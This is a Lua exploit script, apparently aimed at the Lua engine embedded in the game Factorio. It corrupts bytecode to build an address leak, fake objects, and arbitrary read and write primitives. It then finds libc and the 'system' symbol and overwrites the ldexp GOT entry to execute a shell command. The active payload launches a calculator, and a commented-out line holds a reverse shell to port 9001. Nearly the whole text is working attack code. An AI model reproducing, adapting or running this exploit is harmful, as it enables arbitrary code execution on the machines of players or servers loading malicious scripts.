function main() bits_table = {5e-324, 1e-323, 2e-323, 4e-323, 8e-323, 1.6e-322, 3.16e-322, 6.3e-322, 1.265e-321, 2.53e-321, 5.06e-321, 1.012e-320, 2.0237e-320, 4.0474e-320, 8.095e-320, 1.61895e-319, 3.2379e-319, 6.4758e-319, 1.295163e-318, 2.590327e-318, 5.180654e-318, 1.036131e-317, 2.0722615e-317, 4.144523e-317, 8.289046e-317, 1.6578092e-316, 3.3156184e-316, 6.63123685e-316, 1.32624737e-315, 2.65249474e-315, 5.304989477e-315, 1.0609978955e-314, 2.121995791e-314, 4.243991582e-314, 8.487983164e-314, 1.69759663277e-313, 3.39519326554e-313, 6.7903865311e-313, 1.35807730622e-312, 2.716154612436e-312, 5.43230922487e-312, 1.086461844974e-311, 2.1729236899484e-311, 4.345847379897e-311, 8.691694759794e-311, 1.73833895195875e-310, 3.4766779039175e-310, 6.953355807835e-310, 1.390671161567e-309, 2.781342323134e-309, 5.562684646268003e-309, 1.1125369292536007e-308} -- the normal one does not work with libtrio since it has precision errors -- which factorio also includes -- only works for denormalized numbers but it doesnt really matter since we are only using this to leak addresses function double_to_number_trio(double) local cur = double local bin_str = '' -- remember: 1 indexed tables! for i=52,1,-1 do cur_bit = bits_table[i] if cur >= cur_bit then cur = cur - cur_bit bin_str = bin_str .. '1' else bin_str = bin_str .. '0' end end return tonumber(bin_str, 2) end function integer_to_double(integer) return integer * 2^-1074 end function print_ptr(ptr_val) print(string.format("Pointer: 0x%x", ptr_val)) end -- Utils local function p64(n) -- 64bit number to str local t = {} for i = 1, 8 do local b = n % 256 t[i] = string.char(b) n = (n - b) / 256 end return table.concat(t) end local function p32(n) -- 32bit number to str local t = {} for i = 1, 4 do local b = n % 256 t[i] = string.char(b) n = (n - b) / 256 end return table.concat(t) end local function u64(s) assert(#s == 8, "u64 expects exactly 8 bytes") local n = 0 for i = 8, 1, -1 do n = n * 256 + s:byte(i) end return n end local function u32(s) assert(#s == 4, "u32 expects exactly 4 bytes") local n = 0 for i = 4, 1, -1 do n = n * 256 + s:byte(i) end return n end asnum = load(string.dump(function(x) for i = 0, 1000000000000, x do return i end end):gsub("\x61\0\0\x80", "\x17\0\0\128")) function addr_of(v) leak = double_to_number_trio(asnum(v)) return leak end function make_fake_obj(addr, type_v) fakeTValueArray = p64(addr) .. p64(type_v) fakeProto = p64(0x0) .. p64(0x0) .. p64(0x0) .. p64(addr_of(fakeTValueArray) + 32) fakeClosure = p64(addr_of(fakeProto) + 32) craft_object = string.dump(function(closure) local target return (function(closure) -- [1] target points to this function LClosure (function(closure) -- [2] The inner function overwrites the outer function LClosure target = closure end)(closure) -- [3] The LOADK opcode reads the constant -- from our fake LCLosure array of constants, -- so instead of 42 this returns our fake object return 42 -- We need to return an additional value to prevent a TAILCALL -- that would mess up with the Call frame end)(closure), 1337 end) -- Replace the stack index of target upval to point to the LCLosure -- of the first function craft_object = craft_object:gsub("(target\x00\x01\x00\x00\x00\x01)\x01", "%1\x02", 1) craft_object = load(craft_object) return craft_object(fakeClosure) end fake_str = p64(0x0) .. p64(0x0) .. p64(0)..p64(0x1337) print_ptr(addr_of(fake_str)) read_primitive = make_fake_obj(addr_of(fake_str) + 32, 4) function read(fake_string, addr, size) -- First we calculate if the address is reachable from our position local relative_addr = addr - (addr_of(fake_string) + 23 + 8) if relative_addr < 0 then print("[-] Cannot read from " .. addr) return end -- Then we obtain the part of the string where the data is located return fake_string:sub(relative_addr, relative_addr + size - 1) end write_primitive = string.dump(function(closure, value) local target (function(closure, value) -- [1] target points to this function LClosure (function(closure) -- [2] The inner function overwrites the outer function LClosure target = closure end)(closure) -- [3] Target now points to the address we want to write to. -- Changing its value means writting a TValue in that address target = value end)(closure, value) end) write_primitive = write_primitive:gsub("(target\x00\x01\x00\x00\x00\x01)\x02", "%1\x03", 1) write_primitive = load(write_primitive) function write(addr, value) -- Encode double as an integer value = integer_to_double(value) -- The Fake Upval points to the destination of the write fakeUpVal = "AAAABBBBCCCCDDDDEEEEFFFF".. p64(addr) -- next/tt/marked + v -- Fake closure that we use to overwrite the real closure fakeClosure = p64(addr_of("MemoryCorruption")) .. p64(addr_of(fakeUpVal) + 32) -- proto + upvals write_primitive(fakeClosure, value) end --target_off = 0x289fb80 --little bit of space after this part target_off = 0x289ddc0 execv_got_off = 0x28A02B0 --write a fake string here write(target_off, 0) write(target_off + 8, 0) write(target_off + 16, 0) write(target_off + 24, 0xffffffffffff) binsh_off = target_off + 32 --sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &" command = "sh -c 'kcalc &'" for i = 1, #command do local num = string.byte(command, i) --print(num) write(binsh_off - 1 + i, num) end ldexp_off = 0x28A0B90 malloc_off = 0x289FD60 fake_str_got = make_fake_obj(target_off, 4) print_ptr(addr_of(fake_str_got)) execv_leak = read(fake_str_got, execv_got_off, 8) malloc_leak = read(fake_str_got, malloc_off, 8) print(execv_leak) execv_ptr = u64(execv_leak) --guarenteed to be resolved malloc_ptr = u64(malloc_leak) libc_masked = malloc_ptr - malloc_ptr % 0x1000 --elf header 0x7F454C46 elf_head = 0x464c457f while true do cur_leak_data = read(fake_str_got, libc_masked, 4) if cur_leak_data == nil then return end cur_leak = u32(cur_leak_data) if cur_leak == elf_head then break end libc_masked = libc_masked - 0x1000 --break end print("found libc base") print_ptr(libc_masked) --todo: change system_pos = 0x53400 local function libc_read_bytes(offset, size) return read(fake_str_got, offset + libc_masked, size) end local function u32le(s) local a, b, c, d = s:byte(1, 4) return a + b*0x100 + c*0x10000 + d*0x1000000 end local function u16le(s) local a, b = s:byte(1, 2) return a + b * 0x100 end local function u64le(s) local lo = u32le(s:sub(1, 4)) local hi = u32le(s:sub(5, 8)) return hi * 0x100000000 + lo end local function find_dynsym_va(symbol_name) -- Step 1: ELF header is always at the base of the mapping local elf_hdr = libc_read_bytes(0, 64) local e_phoff = u64le(elf_hdr:sub(0x20+1, 0x28)) local e_phentsize = u16le(elf_hdr:sub(0x36+1, 0x36+2)) local e_phnum = u16le(elf_hdr:sub(0x38+1, 0x38+2)) -- Step 2: Scan program headers for PT_DYNAMIC local dyn_va for i = 0, e_phnum - 1 do local ph = libc_read_bytes(e_phoff + i * e_phentsize, e_phentsize) local p_type = u32le(ph:sub(1, 4)) if p_type == 2 then -- PT_DYNAMIC dyn_va = u64le(ph:sub(17, 24)) -- p_vaddr break end end assert(dyn_va, "PT_DYNAMIC not found") print_ptr(dyn_va) -- Step 3: Parse DYNAMIC entries to find DT_SYMTAB, DT_STRTAB, DT_SYMENT local dynsym_va, dynstr_va, syment_size for i = 0, 256 do local entry = libc_read_bytes(dyn_va + i * 16, 16) local tag = u64le(entry:sub(1, 8)) local val = u64le(entry:sub(9, 16)) if tag == 0 then break end -- DT_NULL if tag == 6 then dynsym_va = val end -- DT_SYMTAB if tag == 5 then dynstr_va = val end -- DT_STRTAB if tag == 11 then syment_size = val end -- DT_SYMENT end dynsym_va = dynsym_va - libc_masked dynstr_va = dynstr_va - libc_masked assert(dynsym_va and dynstr_va and syment_size, "Missing DT_SYMTAB/STRTAB/SYMENT") print_ptr(dynsym_va) print_ptr(dynstr_va) print_ptr(syment_size) -- Step 4: Iterate dynsym for i = 0, 10000 do local sym = libc_read_bytes(dynsym_va + i * syment_size, syment_size) local st_name = u32le(sym:sub(1, 4)) local st_value = u64le(sym:sub(9, 16)) -- offset 8 in Elf64_Sym -- Read symbol name from dynstr local name = "" for j = 0, 255 do local c = libc_read_bytes(dynstr_va + st_name + j, 1) if c == "\0" then break end name = name .. c end if name == symbol_name then return st_value -- this is a real virtual address in libc end end return nil -- not found end -- Example usage: local va = find_dynsym_va("system") if va then print(string.format("Symbol 'system' found at VA: 0x%X", va)) else print("Symbol not found.") end write(ldexp_off, libc_masked + va) math.ldexp(0, binsh_off) end main()